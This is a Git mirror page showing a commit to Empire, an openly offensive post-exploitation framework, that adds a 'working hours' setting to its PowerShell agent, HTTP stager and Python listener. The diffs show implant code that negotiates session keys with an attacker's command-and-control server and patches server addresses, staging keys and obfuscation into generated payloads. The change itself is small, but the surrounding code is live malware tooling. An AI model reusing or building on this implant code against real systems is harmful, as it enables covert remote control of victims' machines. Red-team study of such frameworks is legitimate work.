infosecn1nja
/
Empire
mirror of https://github.com/infosecn1nja/Empire.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

WorkingHours fix

websockets-multiuser
xorrior 2017-08-31 10:54:32 -04:00
parent 79d2bdbb5f
commit d1a8375048
3 changed files with 9 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
data/agent/agent.ps1
View File

@ -95,6 +95,7 @@ function Invoke-Empire {
$script:LostLimit = $LostLimit $script:LostLimit = $LostLimit
$script:MissedCheckins = 0 $script:MissedCheckins = 0
$script:ResultIDs = @{} $script:ResultIDs = @{}
$script:WorkingHours = $WorkingHours
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse)) $script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
# the currently active server # the currently active server
@ -209,11 +210,11 @@ function Invoke-Empire {
function Set-WorkingHours { function Set-WorkingHours {
param([string]$hours) param([string]$hours)
$script:WorkingHours = $hours $script:WorkingHours = $hours
"agent working hours set to $script:WorkingHours" "agent working hours set to $($script:WorkingHours)"
} }
function Get-WorkingHours { function Get-WorkingHours {
"agent working hours: $script:WorkingHours" "agent working hours: $($script:WorkingHours)"
} }
function Get-Sysinfo { function Get-Sysinfo {

2
data/agent/stagers/http.ps1
View File

@ -210,7 +210,7 @@ function Start-Negotiate {
[GC]::Collect(); [GC]::Collect();
# TODO: remove this shitty $server logic # TODO: remove this shitty $server logic
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID; Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE";
} }
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners # $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u; Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u;

8
lib/listeners/http.py
View File

@ -395,6 +395,7 @@ class Listener:
uris = [a.strip('/') for a in profile.split('|')[0].split(',')] uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
launcher = listenerOptions['Launcher']['Value'] launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value'] stagingKey = listenerOptions['StagingKey']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
host = listenerOptions['Host']['Value'] host = listenerOptions['Host']['Value']
customHeaders = profile.split('|')[2:] customHeaders = profile.split('|')[2:]
@ -418,6 +419,10 @@ class Listener:
headers = ','.join(customHeaders) headers = ','.join(customHeaders)
stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";")
#patch in working hours, if any
if workingHours != "":
stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
# patch the server and key information # patch the server and key information
stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_SERVER', host)
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
@ -495,7 +500,6 @@ class Listener:
profile = listenerOptions['DefaultProfile']['Value'] profile = listenerOptions['DefaultProfile']['Value']
lostLimit = listenerOptions['DefaultLostLimit']['Value'] lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value'] killDate = listenerOptions['KillDate']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
b64DefaultResponse = base64.b64encode(self.default_response()) b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell': if language == 'powershell':
@ -521,8 +525,6 @@ class Listener:
# patch in the killDate and workingHours if they're specified # patch in the killDate and workingHours if they're specified
if killDate != "": if killDate != "":
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
if workingHours != "":
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
if obfuscate: if obfuscate:
code = helpers.obfuscate(code, obfuscationCommand=obfuscationCommand) code = helpers.obfuscate(code, obfuscationCommand=obfuscationCommand)
return code return code